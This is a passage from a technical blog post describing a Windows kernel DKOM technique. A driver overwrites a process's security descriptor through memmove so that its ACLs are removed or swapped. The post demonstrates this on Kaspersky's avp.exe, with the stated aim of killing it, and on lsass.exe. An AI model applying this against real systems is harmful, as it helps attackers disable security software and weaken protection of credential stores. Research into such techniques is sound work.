    ->Sacl    : ->Ace[0]: ->Mask : 0x00000003
    ->Sacl    : ->Ace[0]: ->SID: S-1-16-16384 Unrecognized SID
    


    The 1 at the end tries to interpret the information in a more readable way (e.g. show users/groups corresponding to SIDs). Also, to zero out we AND with 8 (1000 in binary).

     

    Code

    I'll use  this technique as an example to change/remove the ACLs for a process. If we look at the OBJECT_HEADER structure, we see that the offset of the security descriptor is +0x014, while the object body starts at +0x018. This means that after we find the EPROCESS object's address, we decrement it by 4 to reach the security descriptor.

    To exemplify this, I've used some code from an old project (Hide processes through DKOM). The code deals with finding all EPROCESS structures and getting information from them. To test the driver, I've used a wrapper application that registers and starts a service, communicates with the driver, unregisters it and deletes the service. Code here.

    With a couple of  modified lines, we can zero out the security descriptor, or even assign the address of a security descriptor corresponding to another process:
    int new_acl = 0x9cfa4f39; // address of other descriptor structure or 0
    
    memmove((char*)pNextProcess - 4, &new_acl, 4);
    

    Demo

    1. Kaspersky
    Initially, Kaspersky doesn't allow viewing it's permissions:
    Access denied to permissions
    After we zero out its process ACEs, it seems that we still cannot view the permissions but we can change them:

    Access to change permissions
    This still didn't allow me to kill the avp.exe process, which was my initial goal (not even after removing SSDT hooks) but I'll describe some techniques to do that in the next post.

    If we try this technique on another important process, lsass.exe, we get the following:
    Security warning: no permissions assigned.
    Nice!

    2. Play around other processes
    We can play with this technique in other ways, like for example we can take the address of the permissions of calc.exe (using LiveKD) and assign them to lsass.exe.
    We can use this to change permissions for tokens, threads and other types of objects.

     

    Resources


    1. Windows Security Hardening Through Kernel Address Protection - Mateusz "j00ru" Jurczyk 
    2. Easy local Windows Kernel exploitation - Cesar Cerrudo
    3. Local Kernel-Mode Debugging - MSDN
    4. Windows Internals 6th Ed.